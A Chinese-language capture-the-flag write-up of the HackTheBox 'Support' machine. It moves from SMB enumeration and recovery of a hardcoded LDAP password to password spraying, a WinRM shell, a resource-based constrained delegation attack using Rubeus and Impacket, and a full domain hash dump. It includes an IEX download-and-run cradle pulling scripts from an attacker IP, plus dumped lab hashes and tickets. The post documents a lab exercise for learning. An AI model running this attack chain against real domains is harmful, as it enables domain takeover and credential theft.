HackTheBox Support (RBCD学习)

Author： cheng
发布时间：April 9, 2024
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22864 words
Categories：靶场渗透学习

2024-04-09T02:01:50.png

靶机信息
系统	Windows
IP	/
难度	Easy (不会)
地址	https://app.hackthebox.com/machines/Support

C#/Net 反编译
基于 Kerberos 基于资源的约束委派攻击

端口扫描

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-04-08 07:11:02Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49678/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49683/tcp open  msrpc         Microsoft Windows RPC
49711/tcp open  msrpc         Microsoft Windows RPC
49747/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

SMB_445 匿名登陆

smbclient和smbmap等

└─\ ✨ smbclient -L \\10.129.230.181 -N

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        support-tools   Disk      support staff tools
        SYSVOL          Disk      Logon server share 
Reconnecting with SMB1 for workgroup listing.
└─\ ✨ smbmap -u ' ' -p '' -H 10.129.230.181
[+] IP: 10.129.230.181:445      Name: 10.129.230.181            Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC
        NETLOGON                                                NO ACCESS       Logon server share
        support-tools                                           READ ONLY       support staff tools
        SYSVOL                                                  NO ACCESS       Logon server share

重点关注support-tools共享文件夹

└─\ ✨ root@Kali /m/e/h/Support# smbclient -N \\\\10.129.230.181\\support-tools -c 'dir'
  .                                   D        0  Thu Jul 21 01:01:06 2022
  ..                                  D        0  Sat May 28 19:18:25 2022
  7-ZipPortable_21.07.paf.exe         A  2880728  Sat May 28 19:19:19 2022
  npp.8.4.1.portable.x64.zip          A  5439245  Sat May 28 19:19:55 2022
  putty.exe                           A  1273576  Sat May 28 19:20:06 2022
  SysinternalsSuite.zip               A 48102161  Sat May 28 19:19:31 2022
  UserInfo.exe.zip                    A   277499  Thu Jul 21 01:01:07 2022
  windirstat1_1_2_setup.exe           A    79171  Sat May 28 19:20:17 2022
  WiresharkPortable64_3.6.5.paf.exe      A 44398000  Sat May 28 19:19:43 2022

                4026367 blocks of size 4096. 957553 blocks available

将UserInfo.exe.zip 下载到本地,解压查看文件类型

$ root@Kali /m/e/h/Support# file userinfo/UserInfo.exe
userinfo/UserInfo.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections

通过询问ai得知这可能是使用C#或者.Net编写的程序 (IDA Pro无法反编译,或者说反编译的不彻底)

反编译程序

可以使用ILSpy进行反编译,通过github下载
需要注意如下代码,虽然不懂csharp,但还是能看个大概流程,对enc_password进行base64解码存为数组,依次与key进行异或
![[htb_support_ILSpy.png]]
使用Python编写代码

from base64 import b64decode
enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";
key = b"armando"
password = b64decode(enc_password)
# print(password)
a =[i for i in range(36)]
for i in range(len(password)):
    a[i] = password[i] ^ key[i % len(key)] ^ 0xDF
for i in a:
    print(chr(i), end='')

运行结果为nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz,这是ldap的凭据
验证

root@Kali /m/e/h/Support# nxc smb 10.129.230.181 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --shares
SMB         10.129.230.181  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
SMB         10.129.230.181  445    DC               [+] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz 
SMB         10.129.230.181  445    DC               [*] Enumerated shares
SMB         10.129.230.181  445    DC               Share           Permissions     Remark
SMB         10.129.230.181  445    DC               -----           -----------     ------
SMB         10.129.230.181  445    DC               ADMIN$                          Remote Admin
SMB         10.129.230.181  445    DC               C$                              Default share
SMB         10.129.230.181  445    DC               IPC$            READ            Remote IPC
SMB         10.129.230.181  445    DC               NETLOGON        READ            Logon server share 
SMB         10.129.230.181  445    DC               support-tools   READ            support staff tools
SMB         10.129.230.181  445    DC               SYSVOL          READ            Logon server share

顺便收集一波用户名

root@Kali /m/e/h/Support# nxc smb 10.129.230.181 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --users
SMB         10.129.230.181  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
SMB         10.129.230.181  445    DC               [+] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz 
SMB         10.129.230.181  445    DC               -Username-                    -Last PW Set-       -BadPW- -Description-
SMB         10.129.230.181  445    DC               Administrator                 2022-07-19 17:55:56 0       Built-in account for administering the computer/domain
SMB         10.129.230.181  445    DC               Guest                         2022-05-28 11:18:55 0       Built-in account for guest access to the computer/domain
SMB         10.129.230.181  445    DC               krbtgt                        2022-05-28 11:03:43 0       Key Distribution Center Service Account    
SMB         10.129.230.181  445    DC               ldap                          2022-05-28 11:11:46 0        
SMB         10.129.230.181  445    DC               support                       2022-05-28 11:12:00 0        
SMB         10.129.230.181  445    DC               smith.rosario                 2022-05-28 11:12:19 0        
SMB         10.129.230.181  445    DC               hernandez.stanley             2022-05-28 11:12:34 0        
SMB         10.129.230.181  445    DC               wilson.shelby                 2022-05-28 11:12:50 0        
SMB         10.129.230.181  445    DC               anderson.damian               2022-05-28 11:13:05 0        
SMB         10.129.230.181  445    DC               thomas.raphael                2022-05-28 11:13:21 0        
SMB         10.129.230.181  445    DC               levine.leopoldo               2022-05-28 11:13:37 0        
SMB         10.129.230.181  445    DC               raven.clifton                 2022-05-28 11:13:53 0        
SMB         10.129.230.181  445    DC               bardot.mary                   2022-05-28 11:14:08 0        
SMB         10.129.230.181  445    DC               cromwell.gerard               2022-05-28 11:14:24 0        
SMB         10.129.230.181  445    DC               monroe.david                  2022-05-28 11:14:39 0        
SMB         10.129.230.181  445    DC               west.laura                    2022-05-28 11:14:55 0        
SMB         10.129.230.181  445    DC               langley.lucy                  2022-05-28 11:15:10 0        
SMB         10.129.230.181  445    DC               daughtler.mabel               2022-05-28 11:15:26 0        
SMB         10.129.230.181  445    DC               stoll.rachelle                2022-05-28 11:15:42 0        
SMB         10.129.230.181  445    DC               ford.victoria                 2022-05-28 11:15:58 0

LDAP_389

ldapsearch不会用
使用windapsearch.py进行ldap信息收集

$ python3 /opt/windapsearch/windapsearch.py -d support.htb -u 'support\ldap'  -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --dc-ip 10.129.230.181 -U --full > ldap.out

在文件中找到了info字段info: Ironside47pleasure40Watchful
应该是一个密码,进行密码喷洒

密码喷洒

$ root@Kali /m/e/h/Support# nxc smb 10.129.230.181 -u username -p password --continue-on-success
SMB         10.129.230.181  445    DC               [+] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
SMB         10.129.230.181  445    DC               [+] support.htb\support:Ironside47pleasure40Watchful

GetShell

对新获得凭据跑一下winrm

root@Kali /m/e/h/Support# nxc winrm 10.129.230.181 -u 'support' -p 'Ironside47pleasure40Watchful' 
WINRM       10.129.230.181  5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:support.htb)
WINRM       10.129.230.181  5985   DC               [+] support.htb\support:Ironside47pleasure40Watchful (Pwn3d!)

Pwned
使用evil-winrm进行连接,桌面上获得user flag

evil-winrm -i support.htb -u support -p Ironside47pleasure40Watchful

GenericAll 提权

既然有了凭据,那就遛个狗先

$ bloodhound-python -c all -d support.htb -u support -p 'Ironside47pleasure40Watchful' -ns 10.129.230.181 --zip

GenericAll on Computer: 用户在计算机上具有 GenericAll 权限

使用powershell脚本

2024-04-09T02:02:42.png

参考教程: https://www.youtube.com/watch?v=BAEfEdNWij0
https://www.rotta.rocks/active-directory/god-access/genericall-abuse
https://www.thehacker.recipes/a-d/movement/dacl
使用Impacket https://github.com/tothi/rbcd-attack

# 导入ps1
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.92:8000/PowerView.ps1')
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.92:8000/Powermad.ps1')
# 创建新的计算机账户,用户名为 "st4rry",密码为 "abc1234!"
New-MachineAccount -MachineAccount st4rry -Password $(ConvertTo-SecureString 'abc1234!' -AsPlainText -Force)
# 获取名为 "st4rry" 的域计算机对象的安全标识符（SID）。
$ComputerSid = Get-DomainComputer st4rry -Properties objectsid | Select -Expand objectsid
# 创建一个安全访问控制描述符（SDDL）
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
# 创建了一个新的字节数组，其长度与安全访问控制描述符对象的二进制表示长度相同。
$SDBytes = New-Object byte[] ($SD.BinaryLength)
# 将安全访问控制描述符对象转换为二进制形式，并将结果存储在之前创建的字节数组中。
$SD.GetBinaryForm($SDBytes, 0)
# 将给定计算机对象的 `msds-allowedtoactonbehalfofotheridentity` 属性设置为特定的二进制值。
Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
# 生成密码 "abc1234!" 的哈希值。
.\Rubeus.exe hash /password:abc1234!
# 调用了 Rubeus 工具，并使用其 s4u（Service for User）子命令执行身份冒充攻击（Impersonation）
Rubeus.exe s4u /user:st4rry$ /rc4:461E9338B161C8B8A88B3F0A002DAF57 /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /ptt

运行结果如下:

*Evil-WinRM* PS C:\Users\support\Documents> .\Rubeus.exe s4u /user:st4rry$ /rc4:461E9338B161C8B8A88B3F0A002DAF57 /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.0

[*] Action: S4U

[*] Using rc4_hmac hash: 461E9338B161C8B8A88B3F0A002DAF57
[*] Building AS-REQ (w/ preauth) for: 'support.htb\st4rry$'
[*] Using domain controller: ::1:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFUjCCBU6gAwIBBaEDAgEWooIEazCCBGdhggRjMIIEX6ADAgEFoQ0bC1NVUFBPUlQuSFRCoiAwHqAD
      AgECoRcwFRsGa3JidGd0GwtzdXBwb3J0Lmh0YqOCBCUwggQhoAMCARKhAwIBAqKCBBMEggQPqlKOze4x
      LUtWP2WoEoGmvZNWTJAlqdMJ1A/YNESrksxavortNZfXIQ+2y9LbjlLEwsHH5iRhfjU8u9JzK0ZSW21B
      XMyWBgIYGG4aEbI9taF+eU9qvm8cSQdrIgtQqxRCPh4vnQ3XiNGvfUzTvsfTykn1tSyigu7XoldF5Tao
      Ey4iTb7BCoxTjhOjXjSQnRFy7ZcZRHhjWpjGYuCwoapg8IkSFcjjnCjWcg99XBnqwTmht0Ylxsu9HLw4
      apTpEHbL1JfZYPgeG3HGSo2bTKsve5WwOJ+RAtZOkdNexC2rte+C9K66UjzH2Zp+GEC+6YIUXNL0ieZP
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      rlRsQRk2lZn+R1aEKMKJPtrqX2eenVY7/ggwXZKOuOzdWvZ8gsOaXa63ISyjfzEP2ULZmLVO3X6OCtLO
      Wrrr/I5M8b64bd4vZSxpqkj0XMFLsdPENLDyEwlkZrbCZmab1P6pr7tea+8DT4QGV3okxKGWexkJ+JBR
      kOrDa5PifZCYj+1qTdLv9ipT5Rlu2d0adfHWhjIlBUSxJwOundAFhUAMV3a3P7vpEnHe88zCZ4jIO3aV
      9lEMytsp4mB9pCFAf2/r9JNeB8rYBbuhZG5zPcMIQqOhFsUepsgUPzcz90eDLIJLU/ojBlc6N6PVfUiL
      yV0Ym04S64ZDJi+6vz4QUktioTreKmjOShk3zYoPOAidFX4rUYVlHh8sw/2nt0LDKIMpkZrKimA1arP2
      68MDKX1C9JIp4tu/NeppPi70R8e3V9ThkvWSgrwDYkIwVuYT5Ql3xSSj39FU9BGkQR4Vas10sf+fpzqr
      FGC5BKMEg5TxOuOiDROU4zmuU8NOND+N3zoUj0ahVQVt4leNcZFNGz5dlMaKJSRB0nXldQpM0NVMjVyi
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      tFTpX+Z47X6v2wbADcIuTPEtcNiOSbpKganBsuBQApQ4uKJ4eUYTUWfcUF2Zg7w0//1UkTGKgSYEt/aY
      0LP7kdgnJ609Qy/9Z8iNlDG4o01Nt2SCjXIG8l5MSq/eGCtmbjR+5iIKUHjXWKmwIKOr/Q1gDHVxsQ1Q
      S1V/BXF1Php0QOawOwMKW1MCNV36o1nV+knwJ9vB1t3Lcnqbhyexh2SajfFoNY1/3uiE+JVhj8LczilP
      32/qxwO69WuO0lKGvyEkFjWKwDx0LE/SqXEcteScgsoU+UyYG3Pulao6FPiFsxrTwuI4HeIvLmxPr9UV
      Bb5Nh7gEqdlh+efOnaOB0jCBz6ADAgEAooHHBIHEfYHBMIG+oIG7MIG4MIG1oBswGaADAgEXoRIEEMQj
      yi8h3DqprudBGZucxiyhDRsLU1VQUE9SVC5IVEKiFDASoAMCAQGhCzAJGwdzdDRycnkkowcDBQBA4QAA
      pREYDzIwMjQwNDA4MTA0NzM4WqYRGA8yMDI0MDQwODIwNDczOFqnERgPMjAyNDA0MTUxMDQ3MzhaqA0b
      C1NVUFBPUlQuSFRCqSAwHqADAgECoRcwFRsGa3JidGd0GwtzdXBwb3J0Lmh0Yg==


[*] Action: S4U

[*] Building S4U2self request for: 'st4rry$@SUPPORT.HTB'
[*] Using domain controller: dc.support.htb (::1)
[*] Sending S4U2self request to ::1:88
[+] S4U2self success!
[*] Got a TGS for 'administrator' to 'st4rry$@SUPPORT.HTB'
[*] base64(ticket.kirbi):

      doIFojCCBZ6gAwIBBaEDAgEWooIEwTCCBL1hggS5MIIEtaADAgEFoQ0bC1NVUFBPUlQuSFRCohQwEqAD
      AgEBoQswCRsHc3Q0cnJ5JKOCBIcwggSDoAMCARehAwIBAaKCBHUEggRx2WGtGoPawYL2bDODL+62DWZv
      3yUheWYMdCautrhrFEJpwcNsidBlnezkYLadur4ocvjee+d6NRoaGrmknqXYeQ1ONmoTsHXBOiEGlBj8
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      4z1YjIVFl6KFju7haMQ3+UHIax+lvvbpj8vMk/GtfNFmzJ67OE3hsNCppl2OdMXmPy0wB1p/uhrHgsDH
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      Vjhd7mDZnM7s/crWO3aESkY9t18NC12pQ3X4dBj6Uz34fAK3jWDxi6J5uau1PruZMz7NQwrnZ6yk3wku
      Wq7y+K2ikTtkXfEGu/R1BvaMmksHki+EDaWnmEVy+k0/D6CO7WeyWf5HukoLf1p1yYUv0hO0ye+wWgPI
      piMhQou8+NWThY3xuXmzIT+1ZT/b+jd21AvcYTIc5OXTrJnZ1KmSo4HMMIHJoAMCAQCigcEEgb59gbsw
      gbiggbUwgbIwga+gGzAZoAMCARehEgQQpc0ZlO1YHDp/W/nPH/ol9aENGwtTVVBQT1JULkhUQqIaMBig
      AwIBCqERMA8bDWFkbWluaXN0cmF0b3KjBwMFAEChAAClERgPMjAyNDA0MDgxMDQ3MzhaphEYDzIwMjQw
      NDA4MjA0NzM4WqcRGA8yMDI0MDQxNTEwNDczOFqoDRsLU1VQUE9SVC5IVEKpFDASoAMCAQGhCzAJGwdz
      dDRycnkk

[*] Impersonating user 'administrator' to target SPN 'cifs/dc.support.htb'
[*] Building S4U2proxy request for service: 'cifs/dc.support.htb'
[*] Using domain controller: dc.support.htb (::1)
[*] Sending S4U2proxy request to domain controller ::1:88
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/dc.support.htb':

      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
      Gw5kYy5zdXBwb3J0Lmh0Yg==
[+] Ticket successfully imported!

对[*] base64(ticket.kirbi) for SPN 'cifs/dc.support.htb':下的数据进行处理:
删除多余的空格与换行,进行base64解码,存到文件ticket.kirbi中
使用ticketConverter.py将其转换为.ccache

$ ticketConverter.py ticket.kirbi ticket.ccache   (kali不支持kirbi格式,仅Windows支持)

设置环境变量export KRB5CCNAME=ticket.ccache
然后就可以GetShell

psexec.py -k -no-pass support.htb/Administrator@dc.support.htb -dc-ip IP
smbexec.py -k -no-pass support.htb/Administrator@dc.support.htb -dc-ip IP
wmiexec.py -k -no-pass support.htb/Administrator@dc.support.htb -dc-ip IP

使用 Impacket 进行

# 向其添加新的计算机账户 koi 
addcomputer.py -computer-name 'koi$' -computer-pass 'abc1234!' -dc-ip 10.129.49.22 support.htb/support:Ironside47pleasure40Watchful
# 设置 Kerberos RBCD（基于资源的受限委派）攻击中的属性 msDS-AllowedToActOnBehalfOfOtherIdentity。
rbcd.py -action write -delegate-from 'KOI$' -delegate-to 'DC$' -dc-ip 10.129.49.22 support.htb/support:Ironside47pleasure40Watchful
# 获取 Kerberos 服务票据（Service Ticket）
getST.py -spn cifs/DC.support.htb -impersonate administrator -dc-ip 10.129.49.22 support.htb/koi$:abc1234!
# 设置环境变量
export KRB5CCNAME=admin.ccache
# 获取shell
psexec.py -k -no-pass support.htb/Administrator@dc.support.htb

成功利用后,再次遛一下狗
2024-04-09T02:03:41.png

dump Hash

root@Kali /m/e/h/Support# secretsdump.py -k -no-pass support.htb/Administrator@dc.support.htb -dc-ip 10.129.230.181 
Impacket v0.12.0.dev1+20240208.120203.63438ae7 - Copyright 2023 Fortra

[*] Target system bootKey: 0xf678b2597ade18d88784ee424ddc0d1a
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:bb06cbc02b39abeddd1335bc30b19e26:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
SUPPORT\DC$:plain_password_hex:1601d56ea93a92a97972f9fa504806072db46ecc2ad139a0b223f067987e1c3c4284a85c572ef9eba5d97e6b8aeb36bf648ab79e8a951d33f1556d7e9ac8993881c10cf73da86b4217e3e4ac8d10a61ba29da4bc664fd761afafd86bcff7e76181eb1a83640e85196d6f1303372a57e237e4032ec815484f406dce9302f35b1e88d60ea01066d11f972b6a720a51476024dfcfbf7ea06e41d8a7bd392646c7e30802c2eb6f011b847eb2d481a849f48b6547ef367b39626e50af71ea4dbbbc0079ddeb2891aba6c1dbc8de0ba162d80587bc9e08b45b9e01044ad135b74213d8331e3dab75bff5f93b3c7e81e3658d24
SUPPORT\DC$:aad3b435b51404eeaad3b435b51404ee:de2479619d2dc3c3e79b327ee5de246a:::
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x5f39b9187072640dd3b9ebc53cdcbd2cda166279
dpapi_userkey:0xc98d4a2ff3c17181eaaad459d6383cff7c72bc2d
[*] NL$KM 
 0000   D7 80 3F C7 76 67 B3 22  E7 C9 9B 98 33 D7 F1 A4   ..?.vg."....3...
 0010   E9 EE B2 38 B7 E0 34 5F  12 36 AB 44 F2 4F 75 7D   ...8..4_.6.D.Ou}
 0020   56 22 0F 0F 3C 2D 2E 4C  E6 FD 61 01 63 A4 32 B4   V"..<-.L..a.c.2.
 0030   CE 66 7B DB E7 CF 28 F8  4C 9E 9C 46 A0 61 1B 8B   .f{...(.L..F.a..
NL$KM:d7803fc77667b322e7c99b9833d7f1a4e9eeb238b7e0345f1236ab44f24f757d56220f0f3c2d2e4ce6fd610163a432b4ce667bdbe7cf28f84c9e9c46a0611b8b
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:bb06cbc02b39abeddd1335bc30b19e26:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6303be52e22950b5bcb764ff2b233302:::
ldap:1104:aad3b435b51404eeaad3b435b51404ee:b735f8c7172b49ca2b956b8015eb2ebe:::
support:1105:aad3b435b51404eeaad3b435b51404ee:11fbaef07d83e3f6cde9f0ff98a3af3d:::
smith.rosario:1106:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
hernandez.stanley:1107:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
wilson.shelby:1108:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
anderson.damian:1109:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
thomas.raphael:1110:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
levine.leopoldo:1111:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
raven.clifton:1112:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
bardot.mary:1113:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
cromwell.gerard:1114:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
monroe.david:1115:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
west.laura:1116:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
langley.lucy:1117:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
daughtler.mabel:1118:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
stoll.rachelle:1119:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
ford.victoria:1120:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:de2479619d2dc3c3e79b327ee5de246a:::
st4rry$:6101:aad3b435b51404eeaad3b435b51404ee:461e9338b161c8b8a88b3f0a002daf57:::
esteesminuevopc$:6102:aad3b435b51404eeaad3b435b51404ee:dc2d7e8252c461ee9dc0cf6b7766ad36:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:f5301f54fad85ba357fb859c94c5c31a6abe61f6db1986c03574bfd6c2e31632
Administrator:aes128-cts-hmac-sha1-96:678dcbcbf92bc72fd318ac4aa06ede64
Administrator:des-cbc-md5:13a8c8abc12f945e
krbtgt:aes256-cts-hmac-sha1-96:21f4a7ed00009605ac5182a3d607d25447f48a3f13fbf60912f1e863a70d7141
krbtgt:aes128-cts-hmac-sha1-96:e963352bcdd503ddc3017a2afd620ccb
krbtgt:des-cbc-md5:70b3fdaefe454ad5
ldap:aes256-cts-hmac-sha1-96:f54423bd0d85939de61519c02fad691596f47c0a34cdf0983131bb962ee6ae7a
ldap:aes128-cts-hmac-sha1-96:0447dc15751883c29d9f450acc95db3d
ldap:des-cbc-md5:2ada4ccbcbceb901
support:aes256-cts-hmac-sha1-96:ada63670275687524019008a737c3b57cbf2d1be9eb08a60954a3dcb9268f4e4
support:aes128-cts-hmac-sha1-96:34a8a853cee33abe1668d7660a1affd9
support:des-cbc-md5:79fdc47f98ea70f2
smith.rosario:aes256-cts-hmac-sha1-96:4ce2d5be0ad97e2ff69e7103f3baee3ee58826dbf6061187f266859a294648b3
smith.rosario:aes128-cts-hmac-sha1-96:d181b8c4247a3fa19d7ad76d0026b264
smith.rosario:des-cbc-md5:495d086b52917c6e
hernandez.stanley:aes256-cts-hmac-sha1-96:665165633c8446cfc4264434307c336ddfd91372fda23dc318fb99369c6b78ec
hernandez.stanley:aes128-cts-hmac-sha1-96:8f62b1cba1910f730d905fe388acd69c
hernandez.stanley:des-cbc-md5:a24a340ec885046b
wilson.shelby:aes256-cts-hmac-sha1-96:3f72fd104691e5c59664834bba1d4b9ddbbfea30605cb2120fafa1ee8720b502
wilson.shelby:aes128-cts-hmac-sha1-96:1ea7512778994ec36b259d590df0a188
wilson.shelby:des-cbc-md5:622089cb10152fcd
anderson.damian:aes256-cts-hmac-sha1-96:cb56856b143d38b9191d16ab1e64f9460d06f29a406b37f3da9925a21d87d092
anderson.damian:aes128-cts-hmac-sha1-96:e18d3688bcacab591dabf00f080369f4
